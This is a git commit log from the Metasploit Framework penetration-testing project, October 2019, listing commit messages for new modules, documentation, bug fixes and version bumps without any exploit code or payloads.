Christophe De La Fuente 40d2d7356a Add mapping to .mailmap for cdelafuente-r7 2019-10-24 19:48:41 +02:00
Metasploit 519b75d4d3 Bump version of framework to 5.0.56 2019-10-24 12:06:04 -05:00
FenixH 72abac0683 Fix call to method in null object in rpc_creds method 2019-10-24 11:19:09 +02:00
Wyatt Dahlenburg 0dd2ce9f45 Ignore keys that have passphrases 2019-10-23 23:11:13 -05:00
h00die 47fcd52f65 Land #12456 aux scanner html title docs 2019-10-23 20:58:34 -04:00
h00die 1c9eb0f788 change < to &lt; to prevent md parsing 2019-10-23 20:57:54 -04:00
bwatters-r7 13b54efbfa We don't need no stinking regexes.... 2019-10-23 13:47:46 -05:00
Metasploit 31dc9197d7 automatic module_metadata_base.json update 2019-10-23 13:37:15 -05:00
Shelby Pace fcc9ad628c Land #12473, add xscreensaver log privesc 2019-10-23 13:27:45 -05:00
Metasploit 4c3abbae01 automatic module_metadata_base.json update 2019-10-23 12:47:24 -05:00
Wei Chen 50baaf4d9c Land #12464, Add ThinVNC Directory Traversal module 2019-10-23 12:39:20 -05:00
Wyatt Dahlenburg 32a5c68c6c Migrated Post module to auxiliary to check from a local machine 2019-10-23 11:32:38 -05:00
Matteo Cantoni 77840a8830 Small changes to the host_header_injection aux module 2019-10-23 16:29:04 +02:00
Metasploit b65e55f7e8 automatic module_metadata_base.json update 2019-10-23 09:01:45 -05:00
Brendan Coles 991ccdbda5 Land #12106, Add Linux PTRACE_TRACEME local root exploit 2019-10-23 14:01:14 +00:00
Loïc Jaquemet 622846d682 Assign RPORT directly in report_cred
Assign RPORT directly in report_cred, do not use temp `port` var
2019-10-23 07:30:06 -06:00
Tim W 8c93b219d1 fix compile.rb and rubocop 2019-10-23 20:54:42 +08:00
Tim W 7ff71819e9 add architecture check to check method 2019-10-23 20:38:55 +08:00
Tim W 3cb9f2d709 remove pointless upload_binary function 2019-10-23 20:28:13 +08:00
Tim W 3b5d0b98e7 add a basic check method using loginctl 2019-10-23 19:50:19 +08:00
Metasploit 0e8ed964db automatic module_metadata_base.json update 2019-10-23 01:55:48 -05:00
Tim W 94dd87b004 Land #12483, futex_requeue improvements 2019-10-23 14:47:56 +08:00
Tim W 7d25e321ef add some more comments 2019-10-23 14:45:32 +08:00
Brendan Coles ab9d1470d2 Use workaround for horrific command tokenisation 2019-10-23 06:37:30 +00:00
h00die 2d829f9d46 first upgrade on futex 2019-10-22 21:05:55 -04:00
Spencer McIntyre e771147046 Fix the default meterpreter prompt 2019-10-22 20:02:32 -04:00
Metasploit 92bf2a5067 automatic module_metadata_base.json update 2019-10-22 14:19:32 -05:00
Shelby Pace e8469dca93 Land #11025, add Xorg SUID Modulepath Privesc 2019-10-22 14:11:00 -05:00
Loïc Jaquemet f39a7f2a33 Remove space on empty line
Remove space on empty line
2019-10-22 12:14:03 -06:00
Loïc Jaquemet 22f9b4a732 define port from options
otherwise, L172 fails, as port (RPORT) is not defined
2019-10-22 11:57:02 -06:00
bwatters-r7 32e7787821 Clearly, I fail at ruby implicit returns
Changed the newline remove to a chomp in case the newline is not there
2019-10-22 11:51:00 -05:00
Shelby Pace 1ceaa1d7ba add documentation 2019-10-22 10:43:35 -05:00
Shelby Pace f4a54df262 change location of rescue, method name 2019-10-22 09:31:43 -05:00
Brendan Coles 39db3be145 Update tested versions 2019-10-22 06:35:57 +00:00
Shelby Pace 1fd09b6a81 add solaris targets and Metasm usage 2019-10-21 16:13:10 -05:00
Metasploit 166a20e7d5 automatic module_metadata_base.json update 2019-10-21 15:43:35 -05:00
William Vu 3565b0efb8 Land #12365, Total.js CMS widget creation RCE 2019-10-21 15:22:09 -05:00
Quentin Kaiser 295d609595 Add CVE-2019-16278 exploit documentation. 2019-10-21 21:15:04 +02:00
Metasploit 800c656fd7 automatic module_metadata_base.json update 2019-10-21 12:45:47 -05:00
Brent Cook 58b8990131 Land #12462, add post module to gather grub passwords 2019-10-21 12:35:52 -05:00
Brent Cook 99d55d6110 Land #12423, added docs for git_scanner and goahead_traversal module 2019-10-21 12:24:54 -05:00
bwatters-r7 ee282fe84c Land #12458, Refactor extended check messages
Merge branch 'land-12458' into upstream-master
2019-10-21 12:23:06 -05:00
Brent Cook 519c73dcb3 Land #12450, add docs for the heartbleed module 2019-10-21 12:21:53 -05:00
Brent Cook 100c0a7580 Land #12438, add support for custom Meterpreter prompts 2019-10-21 12:20:06 -05:00
Metasploit 8ca882ddd8 automatic module_metadata_base.json update 2019-10-21 11:13:35 -05:00
Quentin Kaiser d76ea0ca59 Initial module version for Nostromo RCE (CVE-2019-16278). 2019-10-21 18:11:44 +02:00
bwatters-r7 eaa752454b Land #12399, Add Urgent/11 vulnerability scanner
Merge branch 'land-12399' into upstream-master
2019-10-21 11:05:09 -05:00
Brent Cook cc8ed049c0 add module docs 2019-10-21 11:03:23 -05:00
Brent Cook be57b284a9 split more neatly, support commas 2019-10-21 10:43:28 -05:00
Matteo Cantoni 4d7f29993a Small changes to the brute_dirs aux module 2019-10-21 16:45:42 +02:00
Mustafa Çalap 647839d8b5 add more examples for http_title (#1)
add more examples for http_title
2019-10-21 10:14:00 +02:00
Brendan Coles cdf5ef5e2d Add documentation 2019-10-21 06:16:09 +00:00
Brendan Coles 84430c2a66 Add Solaris xscreensaver log Privilege Escalation module 2019-10-21 06:14:50 +00:00
Brent Cook 7cb683646f remove unused RPORT 2019-10-20 21:40:05 -05:00
Brent Cook def423c261 add RHOSTS support for multi-port 2019-10-20 21:37:55 -05:00
Brent Cook b1942bb9ec use probe socket for detection, pad TCP NOP explicitly 2019-10-20 21:31:33 -05:00
Brent Cook f68e574795 close sockets, do preflight check to avoid F+ 2019-10-20 20:26:16 -05:00
h00die 0fbf553a49 add more examples 2019-10-20 21:18:30 -04:00
Brent Cook d005c2d3ee malform packets more (once more with feeling), add report mixin for reporting 2019-10-20 20:00:56 -05:00
h00die f4e15b98ee Land #12454 docs for redis file upload 2019-10-20 20:35:56 -04:00
h00die c35554b37c redis doc touchup 2019-10-20 20:34:11 -04:00
sinn3r 7683ab4fc1 Land #12455, Add generate_random_c method to randomized compiler
Add generate_random_c method to randomized compiler
2019-10-18 15:51:19 -05:00
nil0x42 e48132d7df Bug Fix: nops generate '-s' option ignored
This error was trying to parse the contents of undefined '-c' option instead of '-s'.
Making impossible the definition of SaveRegisters from the console.

Step to reproduce:
`msfconsole -q -x 'use nop/x86/single_byte; generate -s esp 10; exit' | grep -v '0m' | tr -d '\n\\x+ ";' | rasm2 -b 32 -D -`
```asm
0x00000000   1                       0e  push cs
0x00000001   1                       d6  salc
0x00000002   1                       54  push esp
0x00000003   1                       f8  clc
0x00000004   1                       43  inc ebx
0x00000005   1                       56  push esi
0x00000006   1                       5a  pop edx
0x00000007   1                       56  push esi
0x00000008   1                       5a  pop edx
0x00000009   1                       44  inc esp
```
As we can see, 'inc esp', and some 'push/pop' instructions have been generated although having explicitly asked to save `esp` register through `generate` command.

This commit addresses this issue
2019-10-18 17:31:03 +00:00
William Vu b870cadb0f Reregister INTERFACE datastore option
In case configuration failed.
2019-10-18 12:08:45 -05:00
William Vu 3d08f7c746 Update DisclosureDate comment 2019-10-18 12:07:28 -05:00
William Vu 3c74bdd7ee Add CRASH_SAFE module trait to notes 2019-10-18 12:01:27 -05:00
Shelby Pace ca755843f1 remove call to generate_random_c 2019-10-18 11:06:40 -05:00
Adam Cammack 121a6fd0e7 Order matters sometimes
Since the constants are evaluated when they are declared, they need to
be after the new `#initialize` method since it sets the messages.
2019-10-18 10:57:16 -05:00
Shelby Pace 42b251be01 generate random c within compile_random_c 2019-10-18 08:28:25 -05:00
RAMELLA Sébastien 861dc9969f fix. typo in documentation file. 2019-10-18 16:07:55 +04:00
RAMELLA Sébastien 25f60b07ed compliance for the framework 2019-10-18 15:51:58 +04:00
Metasploit aa4534bb50 automatic module_metadata_base.json update 2019-10-18 06:36:43 -05:00
dwelch-r7 0563edcd28 Land #11420, Add exchange web services aux module 2019-10-18 12:28:24 +01:00
dwelch-r7 9ad5e353fe Use latest framework version 2019-10-18 12:21:33 +01:00
Jeffrey Martin b2c753d446 Land #12459, Imports need workspace 2019-10-17 17:01:12 -05:00
bwatters-r7 d1817d8f12 Fix the preceeding newline upstream when we read it rather than when
after we pass it around for a while.
2019-10-17 14:46:20 -05:00
bwatters-r7 299865bdeb * Clean up cmd_exec test module's dead code and add support for
inconsistent windows platform type.
* Add extra front chomp to shell_command response string because
there's a leading newline there.. for some reason?
2019-10-17 13:30:43 -05:00
Metasploit ccd4e93a9e Bump version of framework to 5.0.55 2019-10-17 12:05:32 -05:00
Tim W 37011c5ec0 update author and add documentation 2019-10-17 22:28:17 +08:00
Francesco Soncina e992480b5c Update shellcode_inject.rb 2019-10-17 16:02:59 +02:00
Tim W a5a3e28984 Initial commit of CVE-2019-2215 Android Binder Use-After-Free 2019-10-17 18:48:49 +08:00
Brendan Coles de3cde6a15 Add documentation 2019-10-17 07:51:33 +00:00
Brendan Coles 43c980ed29 Add ThinVNC Directory Traversal module 2019-10-17 07:44:19 +00:00
bwatters-r7 ef1fe8d62a Fix delimiter selection on commands 2019-10-16 20:06:50 -05:00
Taeber Rapczak c92ea2b799 Add documentation for post module 2019-10-16 19:06:14 -04:00
h00die 4c6f0b1562 repeat and nmap 2019-10-16 18:00:57 -04:00
Mustafa Çalap c15d5d1ec9 Add confirming with section to http title module doc 2019-10-16 19:58:54 +02:00
Brent Cook 856b3358de Land #12416, add tftpbrute docs 2019-10-16 12:05:41 +01:00
Taeber Rapczak 1c9a3c74d5 Add post module to collect grub passwords
closes #11166
2019-10-16 00:45:33 -04:00
Adam Cammack ba9c46ee91 Remove CheckCodes kludge from external modules
Now that the new CheckCode class can add boilerplate human text by
itself we no longer need the hash of built-in values.
2019-10-15 16:24:35 -05:00
Adam Cammack 7e5f866ffe Keep extended check reasons separate from messages
Have the long code text and the reason glued together does not make
sense for all check displayers. I would prefer to have this at a
different level, but I'm not too keen on refactoring all the places
where it's touched. I couldn't find any remaining places that depend on
the length of the struct, so this looks safe to add straight as another
field.
2019-10-15 16:24:02 -05:00
Jeffrey Martin 7505e1bf71 Consolidate logic for actions taken on a workspace
* When renaming a workspace allow validation to handle all cases the same
* Do not display backtrace on console for rename failure, this is still logged to framework.log
2019-10-15 16:12:11 -05:00
Jeffrey Martin 289a9c56f3 when making requests to report send workspace
The report methods of the db layer require the workspace during import.
2019-10-15 15:32:00 -05:00
Jeffrey Martin b494bf5d65 cred imports need a workspace object passed to lib
Metasploit::Credential importers expect an Mdm::Workspace object.
2019-10-15 14:51:53 -05:00
Mustafa Çalap 80115a5cf2 Add documentation for http title module 2019-10-15 21:34:52 +02:00
Wei Chen 0ebc971d29 Use CmdStager mixin 2019-10-15 14:00:58 -05:00
Shelby Pace 3c50f3d54e add generate_random_c method 2019-10-15 12:50:58 -05:00
Metasploit b1ae404e6c automatic module_metadata_base.json update 2019-10-15 11:23:22 -05:00
bwatters-r7 f5bb6f8ca2 Land #12428, Extend check codes with custom messages
Merge branch 'land-12428' into upstream-master
2019-10-15 11:06:33 -05:00
Wei Chen bb7c42b2ce Arch and disclosure date 2019-10-15 10:25:20 -05:00
Wei Chen a3331dba9f Move totaljs cms module and doc 2019-10-15 10:11:14 -05:00
pkb1s 8eed4c7545 Update exchange_web_server_pushsubscription.rb 2019-10-15 15:43:55 +01:00
Metasploit feeef90c82 automatic module_metadata_base.json update 2019-10-15 09:35:24 -05:00
Brent Cook 59bf03b947 Land #12420, Add environment-based API token authentication 2019-10-15 15:27:05 +01:00
Emmett Kelly d670e31e34 Remove unnecessary requirement 2019-10-15 15:18:41 +01:00
Mustafa Çalap 7eb1f07062 Add documentation for redis file_upload module 2019-10-15 14:03:19 +02:00
William Vu 4a9a3604f6 Fix tcp_malformed_options_detection scoring
Typo defaulted @vxworks_score and @ipnet_score to 100 instead of -100.
This commit also refactors the method to align with the others.
2019-10-14 21:00:52 -05:00
William Vu 3e0b58613a Flip TCP source/destination logic 2019-10-14 20:17:39 -05:00
Brent Cook d3208d8196 add tcp malformed options detection
Authored by busterb two commits ago and recommitted by wvu now. Oops.
2019-10-14 20:10:17 -05:00
William Vu aaf9e688b9 Remove Python external module 2019-10-14 19:38:43 -05:00
William Vu 1b0b0e8ce5 Add tcp_dos_detection 2019-10-14 19:37:59 -05:00
Shelby Pace ec9ea4ce0d Land #12366, fix nil check in atutor module 2019-10-14 18:14:06 -05:00
William Vu b667965b58 Refactor detections and add scoring 2019-10-14 17:26:08 -05:00
Shelby Pace 4997d72201 add options for keeping/deleting files
This change makes it optional to keep/delete
the files that are created when generating
compiled payloads
2019-10-14 13:34:30 -05:00
William Vu f5c7e568b9 Clarify that packet configuration sends UDP 2019-10-14 13:31:55 -05:00
William Vu ca86041951 Configure Ethernet and IP headers automatically 2019-10-14 13:18:27 -05:00
William Vu 3a0a9868aa Prefer Packet#to_w 2019-10-14 12:41:44 -05:00
William Vu 14ce82967e Finish echo request and use capture_sendto 2019-10-14 12:10:28 -05:00
William Vu 9f3d65b9fe Prefer Packet#payload 2019-10-14 11:59:03 -05:00
William Vu 0b7b88e397 Start work on icmp_timestamp_detection 2019-10-14 11:53:29 -05:00
William Vu 6321946a82 Start work on scanner 2019-10-14 11:33:13 -05:00
Brent Cook 63acf686a6 Fixed typos, extended messages append existing ones 2019-10-14 15:52:24 +01:00
Shelby Pace d4ac2efcc9 add parsing function and cred table 2019-10-14 09:34:55 -05:00
h00die 55df5f69bb Land #12418 redis_server scanner docs 2019-10-13 21:18:56 -04:00
h00die 182259f740 md format update 2019-10-13 21:17:54 -04:00
Mustafa Çalap be3e26411b Add options header for redis_server module doc 2019-10-13 20:09:18 +02:00
h00die 3dcc9182d8 heartbleed docs 2019-10-13 09:47:34 -04:00
Green-m b85b799d4f Update CachedSize of payload. 2019-10-13 19:09:07 +08:00
Green-m 0a9ca5554a Print command when start handler, more friendly. 2019-10-13 17:04:00 +08:00
Green-m 43609965e5 Fix cert verify bug of reverse SSL payload. 2019-10-13 17:01:06 +08:00
Francesco Soncina b1b59fca35 add support for Powershell::prepend_protections_bypass 2019-10-13 03:27:21 +02:00
Francesco Soncina 1878ff8017 move AMSI/SBL bypass in inner payload, force TLSv1.2 support
see https://github.com/rapid7/rex-powershell/pull/19
2019-10-13 02:33:49 +02:00
Francesco Soncina 16a85f2cfa Add support for AMSI/SBL bypass to PSH web_delivery
Related to https://github.com/rapid7/rex-powershell/pull/17
2019-10-12 16:55:08 +02:00
Brent Cook feefc8d934 fix review notes 2019-10-11 16:32:58 -05:00
Brent Cook fd447736dc colors are safe on Windows 2019-10-11 16:23:10 -05:00
Brent Cook b300284d82 switch logic 2019-10-11 16:22:51 -05:00
William Vu 1b696a06a1 Merge remote-tracking branch 'upstream/master' into pr/12399 2019-10-11 13:05:55 -05:00
Shelby Pace 3d2d49259a use uuid to get key/nonce, fall back to datastore 2019-10-11 12:24:56 -05:00
Brent Cook 602b7f2091 begin ruby port 2019-10-11 11:26:19 -05:00
Metasploit e7233c1f8e automatic module_metadata_base.json update 2019-10-11 10:58:36 -05:00
Brent Cook b4c184c01c move to better place 2019-10-11 10:57:07 -05:00
William Vu 58f665209a Land #12444, CONTRIBUTING.md update on questions 2019-10-11 10:50:36 -05:00
William Vu 92cae35e72 Fix typo 2019-10-11 10:50:25 -05:00
Jeffrey Martin c139786240 add some requests about how to use PRs efficiently 2019-10-11 10:43:23 -05:00
Jeffrey Martin fe027e4ee0 correct PR queue link text 2019-10-11 10:30:37 -05:00
OJ 82c77a4ec8 Land #12443 Fix Python reverse_http/s 2019-10-11 14:46:51 +10:00
Spencer McIntyre 8bb9f1798b Add a few more variables including local variants 2019-10-10 22:20:37 -04:00
Spencer McIntyre 85a39f75d8 Use a larger payload size to include the UUID 2019-10-10 22:08:26 -04:00
Spencer McIntyre ef81205123 Add the %M meterpreter prompt var 2019-10-10 21:13:12 -04:00
Spencer McIntyre d87308e9c0 Fix a couple of bugs in the MeterpreterPrompt 2019-10-10 21:13:12 -04:00
Spencer McIntyre 48f1e1d909 Add the %D and %U meterpreter prompt chars 2019-10-10 21:13:12 -04:00
Spencer McIntyre f63fd37938 Support a dynmaic meterpreter prompt 2019-10-10 21:13:12 -04:00
h00die bd60d009f8 Land #12367 tool to manage docs better 2019-10-10 20:41:36 -04:00
Metasploit 3fc7c77b78 automatic module_metadata_base.json update 2019-10-10 17:08:49 -05:00
Wei Chen 12c930a445 Land #12136, Add post module for dumping credentials out of NagiosXI 2019-10-10 16:59:40 -05:00
Wei Chen ffdfe33e11 Check unexpected scenarios 2019-10-10 16:57:49 -05:00
Hugo Kermabon 2bcf62c727 Merge pull request #3 from h00die/land-12367
add links
2019-10-10 21:45:03 +02:00
Metasploit d4b0f4d5a0 automatic module_metadata_base.json update 2019-10-10 14:17:28 -05:00
h00die fff6286289 Land #12437 docs for wp_dukapress_file_read 2019-10-10 15:08:56 -04:00
h00die fccb7b0efc dukapress correct versions 2019-10-10 15:05:57 -04:00
h00die 095283b861 Land #12436 docs for wordpress_scanner 2019-10-10 15:02:53 -04:00
h00die d321f5ee47 Land #12435 wordpress_xmlrpc_login docs 2019-10-10 14:58:27 -04:00
Shelby Pace e8abbfe5c2 add db usage 2019-10-10 12:16:10 -05:00
Shelby Pace 8469515651 set a default for opt_level 2019-10-10 12:16:10 -05:00
Shelby Pace b78b36dc8a add utility module for retrieving chacha key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace 7c8af0754d add warning about db 2019-10-10 12:16:10 -05:00
Shelby Pace fd347be3dc make optimization level configurable 2019-10-10 12:16:10 -05:00
Shelby Pace b674f3dda3 add AlignRSP call, remove begin from linker script 2019-10-10 12:16:10 -05:00
Shelby Pace 12f4a89629 remove 64bithelper, add VirtualFree 2019-10-10 12:16:10 -05:00
Shelby Pace ee67361314 modify opt level based on architecture 2019-10-10 12:16:10 -05:00
Shelby Pace e295732d3f generate alphanumeric key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace 4b8a1a99e0 use new key after session begins 2019-10-10 12:16:10 -05:00
Shelby Pace e4c25a7e2b separate encryption function for payloads 2019-10-10 12:16:10 -05:00
Shelby Pace bb742771e5 add stager and stage for x64 arch 2019-10-10 12:16:10 -05:00
Shelby Pace 2d00e7332a fix staged payload 2019-10-10 12:16:10 -05:00
Shelby Pace c3a7d377f4 add payload for X64 arch 2019-10-10 12:16:10 -05:00
Shelby Pace ca45d77595 randomize key 2019-10-10 12:16:10 -05:00
Shelby Pace c7b42f71a0 change description 2019-10-10 12:16:10 -05:00
Shelby Pace 3e6283c193 add staged payload 2019-10-10 12:16:10 -05:00
Shelby Pace e17013867a add stager code 2019-10-10 12:16:09 -05:00
Shelby Pace fe1b802cf9 check for dependency in stager/stage 2019-10-10 12:16:09 -05:00
Shelby Pace 7130e8dc98 use binread instead of File.open/read 2019-10-10 12:16:09 -05:00
Shelby Pace f39fc3a82d remove extraneous data from shellcode 2019-10-10 12:16:09 -05:00
Shelby Pace db0abdbec8 use correct method 2019-10-10 12:16:09 -05:00
Shelby Pace 64145cdbf2 add header files 2019-10-10 12:16:09 -05:00
Shelby Pace 7342a4579a add dependency check code 2019-10-10 12:16:09 -05:00
Shelby Pace 23028a1094 add code to read exe/strip null bytes 2019-10-10 12:16:09 -05:00
Shelby Pace b9794d76ac add GlobalFree 2019-10-10 12:16:09 -05:00
Shelby Pace 7dca0ae8e9 remove comments, add option 2019-10-10 12:16:09 -05:00
Shelby Pace 197d4be632 add compiler module 2019-10-10 12:16:09 -05:00
Shelby Pace 506ca5976d change function names, modify opt 2019-10-10 12:16:09 -05:00
Shelby Pace f73b7826a8 separate options from payload 2019-10-10 12:16:09 -05:00
Shelby Pace f32c33ce13 fix careless mistakes 2019-10-10 12:16:09 -05:00
Shelby Pace 71eff44404 format datastore options, concat c src 2019-10-10 12:16:09 -05:00
Shelby Pace be208106c8 replace hard-coded hashes with block_api call 2019-10-10 12:16:09 -05:00
Shelby Pace 31aa2b7452 add comment, remove puts 2019-10-10 12:16:09 -05:00
Shelby Pace 3e2c8f7779 add Dependency metadata for payloads 2019-10-10 12:16:09 -05:00
Shelby Pace b1cae12315 fix 'final' error, chacha20 in session 2019-10-10 12:14:27 -05:00
Shelby Pace 2c3c448abc add ruby chacha encryption and session type 2019-10-10 12:14:27 -05:00
Metasploit 6c44605799 Bump version of framework to 5.0.54 2019-10-10 12:05:04 -05:00
weh fa292d3184 Change vhost option 2019-10-10 18:36:26 +02:00
weh 98a7649528 Fix plugin version number 2019-10-10 18:34:53 +02:00
Patrik Wehrli 73be8cf7c2 Update vhost option in verification steps 2019-10-10 17:05:11 +02:00
Patrik Wehrli 67a363cce9 Replace domain with hostname 2019-10-10 17:01:08 +02:00
Patrik Wehrli a450c64f12 Change vhost option to domain 2019-10-10 16:57:20 +02:00
Francesco Soncina 74ae445128 Add AUTOUNHOOK support for shellcode_inject post module
The module will now first inject the unhook dll and then the provided shellcode.
2019-10-10 16:35:57 +02:00
weh 6cb27a22db Remove trailing spaces 2019-10-10 12:45:45 +02:00
weh bed0369af7 Apply Pullrequest Feedback 2019-10-10 12:44:19 +02:00
weh 00a7bb90a1 Apply Pullrequest Feedback 2019-10-10 12:41:20 +02:00
weh 1ba3b1326f Apply Pullrequest Feedback 2019-10-10 08:55:05 +02:00
Tim W 8f01ea3c49 update docs description 2019-10-10 13:38:37 +08:00
Tim W 4d4754a389 feedback from bcoles 2019-10-10 13:30:31 +08:00
Tim 620609c955 Update lib/msf/core/post/linux/compile.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-10 13:13:40 +08:00
Jeffrey Martin a931cd58a2 Land #12401, Get rid of RSpec implicit block expectation syntax 2019-10-09 16:40:51 -05:00
p0 8576a7876a changed disclosure date to ISO 8601 format 2019-10-09 21:53:47 +02:00
weh d73503d506 Add docuentation for wp_dukapress_file_read scanner 2019-10-09 21:05:39 +02:00
weh 138b5284d2 Add docuentation for auxiliary/scanner/http/wordpress_scanner 2019-10-09 19:54:57 +02:00
weh deaa7be8ce Add documentation for wordpress_xmlrpc_login aux scanner 2019-10-09 18:54:16 +02:00
William Vu a6ec5131ad Land #12432, length check for rdp_recv result 2019-10-09 11:39:48 -05:00
Brent Cook 2d43b88b48 Land #12434, fix doc dash 2019-10-09 11:36:41 -05:00
William Vu 6fac30aec8 Change vprint_status to vprint_error 2019-10-09 11:36:39 -05:00
William Vu ad98c2e81c Fix misnamed BlueKeep exploit documentation
Should be an underscore, not a hyphen.
2019-10-09 11:27:50 -05:00
Jose Garduno d65775e5bf added metasploit http DoS module 2019-10-09 16:54:43 +02:00
Brent Cook 62412c8d00 log a bit more about what happened 2019-10-09 08:39:03 -05:00
Brent Cook c4365cfe08 handle extra data on rdp_recv with length check
We should really be doing something like strictly parsing PDU headers in rdp_recv and then parseling out PDUs instead of recv_and_pray, but this should get us past the initial issue where sometimes there is an extra PDU right after
2019-10-09 08:22:02 -05:00
dwelch-r7 0e2923e9df Land #12431, link COPYING in readme 2019-10-09 13:26:45 +01:00
h00die 3ca4fa1edf add moved_from statements 2019-10-08 20:31:23 -04:00
William Vu 1a831573bc Land #12430, there's a goose in my MSF 2019-10-08 16:38:47 -05:00
Adam Cammack f9c5939a29 Teach more things about the new check codes 2019-10-08 16:21:40 -05:00
0xGilda 0b95acf0b3 Update honk.txt to MSF substitution sequences
as per: https://github.com/rapid7/metasploit-framework/pull/12430#issuecomment-539669624
2019-10-08 20:53:59 +01:00
0xGilda ad70e10452 Add new Untitled Goose Game inspired logo
Inspired by an @IanColdwater tweet.
2019-10-08 19:52:11 +01:00
Metasploit 16e9c7cf5f automatic module_metadata_base.json update 2019-10-08 13:27:51 -05:00
Brent Cook cb001910ab Land #12426, remove duplicate payload_inject module 2019-10-08 13:19:34 -05:00
Brent Cook aadfb843bb add module move metadata 2019-10-08 13:18:47 -05:00
Brent Cook 7e2ea42b54 Land #12404, fix potential nil object and mass deletion in shell session handler 2019-10-08 13:02:41 -05:00
Metasploit 05c00b458e automatic module_metadata_base.json update 2019-10-08 10:50:02 -05:00
Brent Cook baa0a12f71 Land #12421, use more specific requires for jtr parsing 2019-10-08 10:41:53 -05:00
Adam Cammack b65882a314 Use new CheckCodes to tidy up the bluekeep scanner 2019-10-08 09:57:53 -05:00
Adam Cammack 2a32c7b9c5 Extend check codes to allow custom messages 2019-10-08 09:57:53 -05:00
bwatters-r7 47dd96df68 Remove duplicate module in the wrong place 2019-10-08 08:48:11 -05:00
Emmett Kelly e0c86b2423 Remove references to file based token provision 2019-10-08 14:29:25 +01:00
Emmett Kelly fe3ec50239 Set API token in env instead of file 2019-10-08 13:46:07 +01:00
Brent Cook 5ce3f5d166 Land #12400, Add File Sharing Wizard SEH exploit module 2019-10-08 07:42:47 -05:00
dwelch-r7 951fd7b93e Replace double quotes with single quotes 2019-10-08 11:44:41 +01:00
Emmett Kelly fcfc78acc5 Use consistent API auth failure error handling 2019-10-08 11:14:23 +01:00
Emmett Kelly 8697b424b2 Use consistent environment variable name 2019-10-08 11:09:04 +01:00
Emmett Kelly 6d74fa2586 Load token config from yml instead of json 2019-10-08 11:03:24 +01:00
h00die d58cfccc13 goahead traversal logs 2019-10-07 21:41:57 -04:00
h00die ae8b01904a docs for git_scanner 2019-10-07 20:38:24 -04:00
Wyatt Dahlenburg 75302947db Added module to allow for ssh keys to be checked for Git access on GitHub and similar 2019-10-07 19:20:56 -05:00
Jeffrey Martin 7389417fc5 adjust for more limited require 2019-10-07 11:26:26 -05:00
dwelch-r7 25937c9e35 Use uri param and clean up logging 2019-10-07 17:15:04 +01:00
dwelch-r7 4eb068c9b0 Update target 2019-10-07 15:25:27 +01:00
Emmett Kelly 1f4649a97c Remove redundant begin block 2019-10-07 15:23:27 +01:00
Emmett Kelly 6e3acd6e9b Refactor nested else if to elsif 2019-10-07 15:23:01 +01:00
Emmett Kelly e1d44e2ae3 Remove redundant braces around hash param 2019-10-07 15:22:27 +01:00
dwelch-r7 02376c88fe Use httpclient over tcpclient 2019-10-07 15:20:30 +01:00
Emmett Kelly 8f33804fe0 Add file based API token authentication
Provides a mechanism to specify an API token from a json file.
If the DB is not enabled then the JSON RPC server will check for the
presence of an environment variable (MSF_API_TOKEN_FILE) which should
point to the path of a JSON file. The JSON file should contain a single
key "token". The value of this token is used as the API token which is
required for all JSON RPC API calls.
2019-10-07 14:57:40 +01:00
Daniel Hildebrand b941a1a823 New method for rpc client - Delete credentials from a specific workspace. 2019-10-07 14:02:53 +02:00
Mustafa Çalap f854fa6614 Add documentation for redis_server module 2019-10-07 10:06:02 +02:00
Seniru Pasan Indira da23b0857e Added the link for 'COPYING' file 2019-10-07 13:16:15 +05:30
h00die 64d44d0608 tftpbrute docs 2019-10-06 21:24:17 -04:00
h00die 5084e59ee5 add links 2019-10-06 18:13:52 -04:00
dwelch-r7 b723d026ab Address code review comments
Use strings in info hash, port is an integer, remove version number from
name
2019-10-06 15:27:29 +01:00
Metasploit 0c5819de7a automatic module_metadata_base.json update 2019-10-05 16:11:04 -05:00
Brendan Coles af05a33957 Land #12408, Fix spelling mistakes 2019-10-05 21:10:56 +00:00
Metasploit eeec7a0697 automatic module_metadata_base.json update 2019-10-05 14:49:34 -05:00
Brendan Coles 90ea642c35 Land #12406, Fix spelling mistakes 2019-10-05 19:42:58 +00:00
Brendan Coles 836f8070ce Land #12407, Fix spelling mistakes 2019-10-05 19:41:47 +00:00
h00die aef0b0b10c Land #12398 ssh_version docs 2019-10-05 14:48:23 -04:00
h00die 41f273870f md formatting 2019-10-05 14:47:53 -04:00
h00die 9f29f5f419 fix spelling received 2019-10-05 14:40:27 -04:00
h00die 905eb17132 begining to fix spelling errors 2019-10-05 14:26:34 -04:00
Metasploit 0365f09ee4 automatic module_metadata_base.json update 2019-10-05 13:22:22 -05:00
h00die 4cc85ecb75 adress a spelling problem 2019-10-05 14:22:18 -04:00
h00die 270f1cc63a Land #12394 fix spelling of separated 2019-10-05 14:14:10 -04:00
h00die f95f952b65 fix separated spelling 2019-10-05 14:13:38 -04:00
Metasploit 8817981bbc automatic module_metadata_base.json update 2019-10-05 13:02:08 -05:00
h00die 729f07f2f4 Land #12395 releative spelling fixes 2019-10-05 13:52:51 -04:00
h00die b7123e2c27 additional releative to relative 2019-10-05 13:50:30 -04:00
b4rtik bc4f706b0d Execute Assembly 2019-10-05 12:47:03 +02:00
Brendan Coles 032a99d84a to_s - Fix #12345 2019-10-05 10:11:31 +00:00
Metasploit 62107d2a04 automatic module_metadata_base.json update 2019-10-04 21:07:03 -05:00
h00die d0ff7393e6 Land #12393 fix spelling of initialize 2019-10-04 21:57:20 -04:00
h00die 7718992ea4 fix spelling of initialize 2019-10-04 21:56:52 -04:00
h00die 0eec343770 Land #12392 iis_shortname spelling fix 2019-10-04 21:51:06 -04:00
Hugo Kermabon a5fd225823 Merge pull request #2 from h00die/land-12367
add headings, run date, tab to space
2019-10-04 17:17:41 -04:00
Phil Pirozhkov 87d0fa46f8 Get rid of RSpec implicit block expectation syntax
The syntax was removed in rspec-expectations 3.8.5.
Related:
https://blog.rubystyle.guide/rspec/2019/07/17/rspec-implicit-block-syntax.html
https://github.com/rspec/rspec-expectations/pull/1125
https://github.com/rubocop-hq/rspec-style-guide/issues/76

This is a follow-up to #12397 and unpins `rspec-expectations`.
2019-10-04 23:12:34 +03:00
Metasploit a78b8adb62 automatic module_metadata_base.json update 2019-10-04 14:55:36 -05:00
Brent Cook 3c397b721d Land #12375, Add image execute options persistence module 2019-10-04 14:40:37 -05:00
Metasploit d2407ddd2c automatic module_metadata_base.json update 2019-10-04 13:07:22 -05:00
bwatters-r7 42859fc275 Land #12388, Add Required Signature Detection To smb_version
Merge branch 'land-12388' into upstream-master
